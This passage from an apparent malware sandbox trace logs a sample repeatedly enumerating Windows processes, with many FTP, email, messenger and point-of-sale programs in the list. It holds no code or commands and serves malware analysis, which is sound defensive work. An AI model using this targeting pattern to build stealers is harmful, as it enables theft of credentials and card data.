| out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0220.535] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0220.538] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0220.540] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0220.542] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0220.565] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0220.568] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0220.570] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.571] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.575] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0220.577] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.579] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0220.581] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0220.583] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0220.585] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0220.603] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0220.606] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0220.609] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0220.612] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0220.615] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0220.618] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0220.619] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0220.623] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0220.625] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0220.626] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0220.628] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0220.630] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0220.632] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0220.634] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0220.635] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0220.637] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0220.639] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0220.641] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0220.643] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0220.645] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0220.647] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0220.652] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0220.654] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0220.656] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0220.658] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0220.661] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0220.663] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0220.665] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0220.667] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0220.669] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0220.672] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0220.674] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0220.678] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0220.680] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0220.682] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0220.684] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0220.687] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0220.689] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0220.692] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0220.694] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0220.697] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0220.700] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0220.702] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0220.704] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0220.706] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0220.708] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0220.710] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0220.713] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0220.715] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0220.717] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0220.755] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0220.757] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0220.758] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0220.760] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0220.762] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0220.764] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0220.766] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0220.768] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0220.770] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0220.772] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.774] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0220.775] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0220.777] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.779] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0220.781] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0220.783] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0220.784] CloseHandle (hObject=0x11c8) returned 1 [0220.784] Sleep (dwMilliseconds=0x64) [0220.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0220.800] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.802] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 